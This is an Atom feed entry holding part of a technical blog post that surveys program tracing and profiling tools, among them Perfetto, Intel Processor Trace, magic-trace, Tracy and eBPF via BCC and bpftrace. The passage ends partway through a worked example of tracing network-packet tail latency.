<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
 
 <title>Tristan Hume</title>
 <link href="https://thume.ca/atom.xml" rel="self"/>
 <link href="https://thume.ca"/>
 <updated>2025-04-17T17:10:52+00:00</updated>
 <id>https://thume.ca</id>
 <author>
   <name>Tristan Hume</name>
   <email>tristan@thume.ca</email>
 </author>

 
 
 <entry>
   <title>All my favorite tracing tools: eBPF, QEMU, Perfetto, new ones I built and more</title>
   <link href="https://thume.ca/2023/12/02/tracing-methods/"/>
   <updated>2023-12-02T00:00:00+00:00</updated>
   <id>https://thume.ca/2023/12/02/tracing-methods</id>
   <content type="html">
&lt;p&gt;Ever wanted more different ways to understand what’s going on in a program? Here I catalogue a huge variety of tracing methods you can use for varying types of problems. Tracing has been such a long-standing interest (and job) of mine that some of these will novel and interesting to anyone who reads this. I’ll guarantee it by including 2 novel tracing tools I’ve made and haven’t shared before (look for this: &lt;span style=&quot;color: blue;&quot;&gt;&lt;em&gt;Tooling drop!&lt;/em&gt;&lt;/span&gt;).&lt;/p&gt;

&lt;p&gt;What I see as the key parts of tracing are collecting timestamped data on what happened in a system, and then ideally visualizing it in a timeline UI instead of just as a text log. First I’ll cover my favorite ways of really easily getting trace data into a nice timeline UI, because it’s a superpower that makes all the other tracing tools more interesting. Then I’ll go over ways to get that data, everything from instrumentation to binary patching to processor hardware features.&lt;/p&gt;

&lt;p&gt;I’ll also give a real-life example of combining eBPF tracing with Perfetto visualization to diagnose tail latency issues in huge traces by using a number of neat tricks. Look for the “eBPF Example” section.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I’m hiring for my accelerator optimization team at Anthropic! See &lt;a href=&quot;#conclusion-if-you-liked-this-you-may-like-my-team-at-anthropic&quot;&gt;the bottom of the post&lt;/a&gt; for more detail.&lt;/p&gt;

&lt;h1 id=&quot;easily-visualizing-data-on-a-trace-timeline&quot;&gt;Easily visualizing data on a trace timeline&lt;/h1&gt;

&lt;p&gt;Getting event data onto a nice zoomable timeline UI is way easier than most people think. Here’s my favorite method I do all the time which can take you from logging your data to visualizing it in minutes:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# from:
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%d: %s %d&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;duration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# to:
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;trace.json&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;w&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;{&quot;name&quot;: &quot;%s&quot;, &quot;ts&quot;: %d, &quot;dur&quot;: %d, &quot;cat&quot;: &quot;hi&quot;, &quot;ph&quot;: &quot;X&quot;, &quot;pid&quot;: 1, &quot;tid&quot;: 1, &quot;args&quot;: {}}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;event_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;duration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# this closing ] isn&apos;t actually required
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is the power of the &lt;a href=&quot;https://docs.google.com/document/d/1CvAClvFfyA5R-PhYUmn5OOQtYMH4h6I0nSsKchNAySU/preview&quot;&gt;Chromium Event JSON Format&lt;/a&gt;. It’s a super simple JSON format that supports a bunch of different kinds of events, and is supported by a lot of different profile visualizer tools.&lt;/p&gt;

&lt;p&gt;You can view the resulting tracing files in Google’s Perfetto trace viewer by going to &lt;a href=&quot;https://ui.perfetto.dev/&quot;&gt;https://ui.perfetto.dev/&lt;/a&gt;, or in the older Catapult viewer (which is nicer for some traces) by going to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chrome://tracing&lt;/code&gt; in Chrome. You can play around with the UI by &lt;a href=&quot;https://ui.perfetto.dev/&quot;&gt;going to Perfetto&lt;/a&gt; and clicking “Open Chrome Example” in the sidebar. Here’s a screenshot showing an event annotated with arguments and flow event arrows:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/postassets/tracing/perfetto.png&quot;&gt;&lt;img src=&quot;/assets/postassets/tracing/perfetto.png&quot; alt=&quot;Perfetto Screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Me and my coworkers do this all the time at work, whip up trace visualizations for new data sources in under an hour and add them to our growing set of trace tools. We have a Python utility to turn a trace file into a clickable permanently-saved intranet link we can share with coworkers in Slack. This is easy to set up by building a copy of Perfetto and uploading to a file hosting server you control, and then putting trace files on that server and generating links using Perfetto’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?url=&lt;/code&gt; parameter. We also write custom trace analysis scripts by loading the simple JSON into a Pandas dataframe.&lt;/p&gt;

&lt;p&gt;I like Perfetto as its use of WebAssembly lets it scale to about 10x more events than Catapult (although it gets laggy), and you have the escape hatch of the native backend for even bigger traces. Its &lt;a href=&quot;https://perfetto.dev/docs/analysis/common-queries&quot;&gt;SQL query feature&lt;/a&gt; also lets you find events and annotate them in the UI using arbitrary predicates, including &lt;a href=&quot;https://perfetto.dev/docs/analysis/stdlib-docs&quot;&gt;special SQL functions&lt;/a&gt; for dealing with trace stacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UI protip&lt;/strong&gt;: Press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt; in Perfetto to see the shortcuts. I use both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WASD&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CTRL+scroll&lt;/code&gt; to move around.&lt;/p&gt;

&lt;h3 id=&quot;advanced-format-fuchsia-trace-format&quot;&gt;Advanced Format: Fuchsia Trace Format&lt;/h3&gt;

&lt;p&gt;The Chromium JSON format can produce gigantic files and be very slow for large traces, because it repeats both the field names and string values for every event. Perfetto also supports the &lt;a href=&quot;https://fuchsia.dev/fuchsia-src/reference/tracing/trace-format&quot;&gt;Fuchsia Trace Format (FTF)&lt;/a&gt; which is a simple compact binary format with an incredible spec doc that makes it easy to produce binary traces. It supports interning strings to avoid repeating event names, and is designed around 64 byte words and supports clock bases so that you can directly write timestamp counters and have the UI compute the true time.&lt;/p&gt;

&lt;p&gt;When I worked at Jane Street I &lt;a href=&quot;https://github.com/janestreet/tracing/blob/master/zero/writer.ml&quot;&gt;used this to log instrumentation events to a buffer directly in FTF&lt;/a&gt; as they occurred in &amp;lt;10ns per span (it would have been closer to 4ns if it wasn’t for OCaml limitations).&lt;/p&gt;

&lt;h3 id=&quot;advanced-format-perfetto-protobuf&quot;&gt;Advanced Format: Perfetto Protobuf&lt;/h3&gt;

&lt;p&gt;Another format which is similarly compact, and also supports more features, is &lt;a href=&quot;https://github.com/google/perfetto/blob/master/protos/perfetto/trace/perfetto_trace.proto&quot;&gt;Perfetto’s native Protobuf trace format&lt;/a&gt;. It’s documented only in comments in the proto files and is a bit trickier to figure out, but might be a bit easier to generate if you have access to a protobuf library. It enables access to advanced Perfetto features like including callstack samples in a trace, which aren’t available with other formats. It’s slower to write than FTF, although Perfetto has a &lt;a href=&quot;https://perfetto.dev/docs/design-docs/protozero&quot;&gt;ProtoZero&lt;/a&gt; library to make it somewhat faster.&lt;/p&gt;

&lt;p&gt;This can be really tricky to get right though and I had to reference the Perfetto source code to figure out error codes in the “info and stats” tab a lot. The biggest gotchas are you need to set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;trusted_packet_sequence_id&lt;/code&gt; on every packet, have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TrackDescriptor&lt;/code&gt; for every track, and set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sequence_flags=SEQ_INCREMENTAl_STATE_CLEARED&lt;/code&gt; on the first packet.&lt;/p&gt;

&lt;h3 id=&quot;other-tools&quot;&gt;Other tools&lt;/h3&gt;

&lt;p&gt;Some other nice trace visualization tools are &lt;a href=&quot;https://github.com/jlfwong/speedscope&quot;&gt;Speedscope&lt;/a&gt; which is better for a hybrid between profile and trace visualization, &lt;a href=&quot;https://github.com/google/pprof&quot;&gt;pprof&lt;/a&gt; for pure profile call graph visualization, and &lt;a href=&quot;https://www.rerun.io/&quot;&gt;Rerun&lt;/a&gt; for multimodal 3D visualization. Other profile viewers I like less but which have some nice parts include &lt;a href=&quot;https://eclipse.dev/tracecompass/&quot;&gt;Trace Compass&lt;/a&gt; and the &lt;a href=&quot;https://profiler.firefox.com/docs/#/&quot;&gt;Firefox Profiler&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;tracing-methods&quot;&gt;Tracing Methods&lt;/h1&gt;

&lt;p&gt;Now lets go over all sorts of different neat tracing methods! I’ll start with some obscure and interesting low level ones but I promise I’ll get to some more broadly usable ones after.&lt;/p&gt;

&lt;h2 id=&quot;hardware-breakpoints&quot;&gt;Hardware breakpoints&lt;/h2&gt;

&lt;p&gt;For ages, processors have supported &lt;strong&gt;hardware breakpoint registers&lt;/strong&gt; which let you put in a small number of memory addresses and have the processor interrupt itself when any of them are accessed or executed.&lt;/p&gt;

&lt;h3 id=&quot;perf-and-perftrace&quot;&gt;perf and perftrace&lt;/h3&gt;

&lt;p&gt;Linux exposes this functionality through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptrace&lt;/code&gt; but also through the &lt;a href=&quot;https://man7.org/linux/man-pages/man2/perf_event_open.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perf_event_open&lt;/code&gt; syscall&lt;/a&gt; and the &lt;a href=&quot;https://man7.org/linux/man-pages/man1/perf-record.1.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perf record&lt;/code&gt; command&lt;/a&gt;. You can record a process like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perf record -e \mem:0x1000/8:rwx my_command&lt;/code&gt; and view the results with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perf script&lt;/code&gt;. It costs about 3us of overhead every time a breakpoint is hit.&lt;/p&gt;

&lt;p&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;em&gt;Tooling drop!&lt;/em&gt;&lt;/span&gt; I wrote &lt;a href=&quot;https://github.com/trishume/perftrace&quot;&gt;a tiny Python library called perftrace&lt;/a&gt; with a C stub which calls the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perf_event_open&lt;/code&gt; syscall to record timestamps and register values when the breakpoints were hit.&lt;/p&gt;

&lt;p&gt;It currently only supports execution breakpoints but you can also breakpoint on reads or writes of any memory and it would be &lt;a href=&quot;https://github.com/trishume/perftrace/blob/d074e65bf71e8af10335164111969f96263d283a/perftrace.c#L61&quot;&gt;easy to modify the code to do that&lt;/a&gt;. Hardware breakpoints are basically the only way to watch for accessing a specific memory address at a fine granularity which doesn’t add overhead to code which doesn’t touch that memory.&lt;/p&gt;

&lt;h3 id=&quot;gdb-scripting&quot;&gt;GDB scripting&lt;/h3&gt;

&lt;p&gt;In addition to using it manually, you can automate the process of following the execution of a program using debugger breakpoints by using GDB’s Python scripting interface. This is slower than perf breakpoints but gives you the ability to inspect and modify memory when you hit breakpoints. &lt;a href=&quot;https://github.com/hugsy/gef&quot;&gt;GEF&lt;/a&gt; is an extension to GDB that in addition to making it much nicer in general, also extends the Python API with a bunch of handy utilities.&lt;/p&gt;

&lt;p&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;em&gt;Tooling drop!&lt;/em&gt;&lt;/span&gt; &lt;a href=&quot;https://gist.github.com/trishume/fe3b3b90a7e524c976ecb98053bb7f86&quot;&gt;Here’s an example GDB script I wrote using GEF which gives examples of how to puppeteer, trace and inspect a program&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;intel-processor-trace&quot;&gt;Intel Processor Trace&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://easyperf.net/blog/2019/08/23/Intel-Processor-Trace&quot;&gt;Intel Processor Trace&lt;/a&gt; is a hardware technology on Intel chips since Skylake which allows recording a trace of &lt;em&gt;every instruction the processor executes&lt;/em&gt; via recording enough info to reconstruct the control flow in a super-compact format, along with fine-grained timing info. It has extremely low overhead since it’s done by hardware and writes bypass the cache so the only overhead is reducing main memory bandwidth by about 1GB/s. I see no noticeable overhead at all on most program benchmarks I’ve tested.&lt;/p&gt;

&lt;p&gt;You can access a dump of the assembly instructions executed in a recorded region using &lt;a href=&quot;https://man7.org/linux/man-pages/man1/perf-intel-pt.1.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perf&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://lldb.llvm.org/use/intel_pt.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lldb&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://easyperf.net/blog/2019/08/30/Intel-PT-part2&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;magic-trace&quot;&gt;magic-trace&lt;/h3&gt;

&lt;p&gt;However assembly traces aren’t useful to most people, so when at Jane Street I created &lt;a href=&quot;https://github.com/janestreet/magic-trace&quot;&gt;magic-trace&lt;/a&gt; along with my intern Chris Lambert, which generates a trace file (using FTF and Perfetto as described above) which visualizes &lt;em&gt;every function call&lt;/em&gt; in a program execution. Jane Street generously open-sourced it so anyone can use it! Since then it’s been extended to support tracing into the kernel as well. I wrote &lt;a href=&quot;https://blog.janestreet.com/magic-trace/&quot;&gt;a blog post about how it works for the Jane Street tech blog&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/janestreet/magic-trace/raw/master/docs/assets/stage-3.gif&quot; alt=&quot;magic-trace demo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Processor Trace can record to a ring buffer, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;magic-trace&lt;/code&gt; uses the hardware breakpoint feature described earlier to let you trigger capture of the last 10ms whenever some function that signals an event you want to look at happened, or when the program ends. This makes it great for a bunch of scenarios:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Debugging rare tail latency events: Add a trigger function call after something takes unusually long, and then leave magic-trace attached in production. Because it captures everything you’ll never have not logged enough data to identify the slow part.&lt;/li&gt;
  &lt;li&gt;Everyday performance analysis: A full trace timeline can be easier to interpret than a sampling profiler visualization, especially because it displays the difference between a million fast calls to a function and one slow call.
    &lt;ul&gt;
      &lt;li&gt;It’s typical to find performance problems on systems that had only ever been analyzed with a sampling profiler by noticing the first time you magic-trace the program that many functions are being called more times than expected or in locations you didn’t expect.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Debugging crashes: When a program crashes for reasons you don’t understand, you can just run it under magic-trace and see every function call leading up to the crash, which is often enough to figure out why the crash happened without adding extra logging or using a debugger!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you want to modify magic-trace to suit your needs, it’s open-source OCaml. And if you like Rust more than OCaml someone made a simple Rust port called &lt;a href=&quot;https://github.com/michoecho/perf2perfetto&quot;&gt;perf2perfetto&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Unfortunately, Processor Trace isn’t supported on many virtual machines that use compatible Intel Hardware. Complain to your cloud provider to add support in their hypervisor or try bare-metal instances!&lt;/p&gt;

&lt;h2 id=&quot;instrumentation-based-tracing-profilers&quot;&gt;Instrumentation-based tracing profilers&lt;/h2&gt;

&lt;p&gt;What most people use to get similar benefits to magic-trace traces, especially in the gamedev industry, is low-overhead instrumentation-based profilers with custom UIs. One major advantage of instrumentation-based traces is they can contain extra information about data and not just control flow, putting arguments from your functions into the trace can be key for figuring out what’s going on. These tools often support including other data sources such as OS scheduling info, CPU samples and GPU trace data. Here’s my favorite tools like this and their pros/cons:&lt;/p&gt;

&lt;h3 id=&quot;tracy&quot;&gt;&lt;a href=&quot;https://github.com/wolfpld/tracy&quot;&gt;Tracy&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/wolfpld/tracy&quot;&gt;&lt;img src=&quot;https://github.com/wolfpld/tracy/raw/master/doc/profiler.png&quot; alt=&quot;Tracy screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Cross platform, including good Linux sampling and scheduling capture&lt;/li&gt;
  &lt;li&gt;Overhead of only 2ns/span, supports giant traces with hundreds of millions of events&lt;/li&gt;
  &lt;li&gt;Really nice and fast UI with tons of features (check out the &lt;a href=&quot;https://www.youtube.com/watch?v=30wpRpHTTag&quot;&gt;demo&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=_hU7vw00MZ4&quot;&gt;videos&lt;/a&gt; in the readme)&lt;/li&gt;
  &lt;li&gt;Integrates CPU sampling with detailed source and assembly analysis&lt;/li&gt;
  &lt;li&gt;Popular so there are bindings in non-C++ languages like &lt;a href=&quot;https://docs.rs/tracing-tracy/latest/tracing_tracy/&quot;&gt;Rust&lt;/a&gt; and &lt;a href=&quot;https://github.com/nektro/zig-tracy&quot;&gt;Zig&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Con: Only supports a single string/number argument to events&lt;/li&gt;
  &lt;li&gt;Con: Timeline is overly aggressive in collapsing small events into squiggles (&lt;a href=&quot;https://thume.ca/2021/03/14/iforests/&quot;&gt;see my post on this&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;optick&quot;&gt;&lt;a href=&quot;https://github.com/bombomby/optick&quot;&gt;Optick&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=p57TV5342fo&quot;&gt;&lt;img src=&quot;https://github.com/bombomby/brofiler/raw/gh-pages/images/VideoThumbnail.jpg&quot; alt=&quot;Optick screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Cross-platform, lots of features, very nice UI&lt;/li&gt;
  &lt;li&gt;Supports multiple named arguments per event&lt;/li&gt;
  &lt;li&gt;Con: Not as fleshed-out for non-game applications&lt;/li&gt;
  &lt;li&gt;Con: sampling integration only works on Windows&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;perfetto&quot;&gt;&lt;a href=&quot;https://perfetto.dev/docs/instrumentation/tracing-sdk&quot;&gt;Perfetto&lt;/a&gt;&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Perfetto UI is nice, events can include arguments and flow event arrows&lt;/li&gt;
  &lt;li&gt;Integrates with other Perfetto data sources like OS events and sampling&lt;/li&gt;
  &lt;li&gt;Con: Higher overhead of around 600ns/span when tracing enabled&lt;/li&gt;
  &lt;li&gt;Con: UI doesn’t scale to traces as large as the above two programs&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;other-programs&quot;&gt;Other programs&lt;/h3&gt;

&lt;p&gt;There’s a bunch more similar small programs that generally come with their own instrumentation library and their own WebGL profile viewer. These are generally more lightweight and can be easier to integrate. For example &lt;a href=&quot;https://gravitymoth.com/spall/spall-web.html&quot;&gt;Spall&lt;/a&gt;, &lt;a href=&quot;https://github.com/jonasmr/microprofile&quot;&gt;microprofile&lt;/a&gt;, &lt;a href=&quot;https://github.com/Celtoys/Remotery&quot;&gt;Remotery&lt;/a&gt;, &lt;a href=&quot;https://github.com/EmbarkStudios/puffin&quot;&gt;Puffin (Rust-native)&lt;/a&gt;, &lt;a href=&quot;https://github.com/mikesart/gpuvis&quot;&gt;gpuviz&lt;/a&gt;. I must also mention the &lt;a href=&quot;https://github.com/janestreet/tracing&quot;&gt;OCaml tracing instrumentation library I wrote for Jane Street&lt;/a&gt; which has overheads under 10ns/span via a compile-time macro like the C++ libraries.&lt;/p&gt;

&lt;h2 id=&quot;ebpf&quot;&gt;eBPF&lt;/h2&gt;

&lt;p&gt;If you want to trace things using the Linux kernel there’s a new game in town, and it’s awesome. The eBPF subsystem allows you to attach complex programs to all sorts of different things in the kernel and efficiently shuttle data back to userspace, basically subsuming all the legacy facilities like ftrace and kprobes such that I won’t talk about them.&lt;/p&gt;

&lt;p&gt;Things you can trace include: syscalls, low overhead tracepoints throughout the kernel, hardware performance counters, any kernel function call and arbitrary breakpoints or function calls/returns in userspace code. Combined these basically let you see anything on the system in or out of userspace.&lt;/p&gt;

&lt;p&gt;You normally write BPF programs in C but there are perhaps even nicer toolkits for using &lt;a href=&quot;https://github.com/tw4452852/zbpf&quot;&gt;Zig&lt;/a&gt; and &lt;a href=&quot;https://aya-rs.dev/&quot;&gt;Rust&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;There’s &lt;a href=&quot;https://ebpf.io/applications/&quot;&gt;a whole bunch of ways to use eBPF&lt;/a&gt; and I’ll talk about some of my favorites here. Some other favorites I won’t go into in detail are &lt;a href=&quot;https://rubrikinc.github.io/wachy/&quot;&gt;Wachy&lt;/a&gt; and &lt;a href=&quot;https://github.com/anakryiko/retsnoop&quot;&gt;retsnoop&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;bcc-easy-python-api-for-ebpf&quot;&gt;BCC: Easy Python API for eBPF&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://github.com/iovisor/bcc&quot;&gt;BPF Compiler Collection (BCC)&lt;/a&gt; is a library with really nice Python bindings for compiling eBPF programs from C source code, injecting them, and getting the data back. It has a really nice feature where you can write a C struct to hold the event data you want to record, and then it will parse that and expose it so you can access the fields in Python. Check out &lt;a href=&quot;https://github.com/iovisor/bcc/blob/master/examples/ringbuf/ringbuf_output.py&quot;&gt;how simple this syscall tracing example is&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I really like having the full power of Python to control my tracing scripts. BCC scripts often use Python string templating to do compile time metaprogramming of the C to compose the exact probe script you want, and then do data post-processing in Python to present things nicely.&lt;/p&gt;

&lt;h3 id=&quot;bpftrace-terse-dsl-for-ebpf-tracing&quot;&gt;bpftrace: terse DSL for eBPF tracing&lt;/h3&gt;

&lt;p&gt;If you want a terser way to compose tracing programs, in the style of dtrace, check out &lt;a href=&quot;https://github.com/iovisor/bpftrace&quot;&gt;bpftrace&lt;/a&gt;. It lets you write one liners like these:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Files opened by process&lt;/span&gt;
bpftrace &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;tracepoint:syscalls:sys_enter_open { printf(&quot;%s %s\n&quot;, comm, str(args-&amp;gt;filename)); }&apos;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Count LLC cache misses by process name and PID (uses PMCs):&lt;/span&gt;
bpftrace &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;hardware:cache-misses:1000000 { @[comm, pid] = count(); }&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ply-simpler-bpftrace&quot;&gt;ply: simpler bpftrace&lt;/h3&gt;

&lt;p&gt;If you want something like bpftrace but simpler and faster with no LLVM dependencies. Check out &lt;a href=&quot;https://wkz.github.io/ply/&quot;&gt;ply&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Which processes are receiving errors when reading from the VFS?&lt;/span&gt;
ply &lt;span class=&quot;s1&quot;&gt;&apos;kretprobe:vfs_read if (retval &amp;lt; 0) { @[pid, comm, retval] = count(); }&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;ebpf-example-anthropics-perfetto-based-packet-and-user-event-tracing&quot;&gt;eBPF Example: Anthropic’s Perfetto-based packet and user event tracing&lt;/h2&gt;

&lt;p&gt;For work at Anthropic I wanted to analyze tail latency of some networking code so I used BCC and hooked into low-overhead kernel probe points to trace info from every single packet into a ring buffer. I could even include fields pulled from the packet header and NIC queue information, all at 1 million packets per second with no noticeable overhead.&lt;/p&gt;

&lt;h3 id=&quot;trick-for-tracing-userspace-events-with-low-overhead-in-ebpf&quot;&gt;Trick for tracing userspace events with low overhead in eBPF&lt;/h3&gt;

&lt;p&gt;I wanted to correlate packets with userspace events from a Python program, so I used a fun trick: Find a syscall which has an early-exit error path and bindings in most languages, and then trace calls to that which have specific arguments which produce an error. I traced the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;faccessat2&lt;/code&gt; syscall such that in Python &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os.access(event_name, -932, dir_fd=-event_type)&lt;/code&gt; where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;event_type&lt;/code&gt; was an enum for start, stop and instant events would log spans to my Perfetto trace. This had an overhead of around 700ns/event, which is in a similar league to Perfetto’s full-userspace C++ instrumentation, and a lot of that is Python call overhead. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os.access&lt;/code&gt; function is especially good because when the syscall errors it doesn’t incur overhead by generating a Python exception like most other syscall wrappers do.&lt;/p&gt;

&lt;h3 id=&quot;how-to-process-events-more-quickly-using-a-c-helper-with-bcc&quot;&gt;How to process events more quickly using a C helper with BCC&lt;/h3&gt;

&lt;p&gt;With 1 million packets per second I had a problem that with rare tail latency events, my traces quickly got huge and lagged Perfetto. I wanted to only keep data from shortly before one of my userspace send events took too long. Normally you’d do this with a circular buffer that gets snapshotted, and it would be possible to implement that in eBPF. But I didn’t want to implement my own ringbuf and the included ones don’t support wraparound overwriting. So instead I used the internal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_open_ring_buffer&lt;/code&gt; function to register a ctypes C function as a ringbuffer callback instead of a Python function, and wrote an efficient C callback to filter out packets near a tail latency event before passing those to Python.&lt;/p&gt;

&lt;h3 id=&quot;perks-of-perfetto-visualization&quot;&gt;Perks of Perfetto visualization&lt;/h3&gt;

&lt;p&gt;I used the Perfetto Protobuf format with interned strings in order to keep trace size down to a few bytes per packet.&lt;/p&gt;

&lt;p&gt;I could use Perfetto’s SQL support in the resulting trace to query for send events above a certain time threshold after startup in a specific process. Here’s a screenshot showing a long send event coinciding with packets starting to be paced out with larger gaps on one of the queues, including the ability to have line graph tracks:&lt;/p&gt;

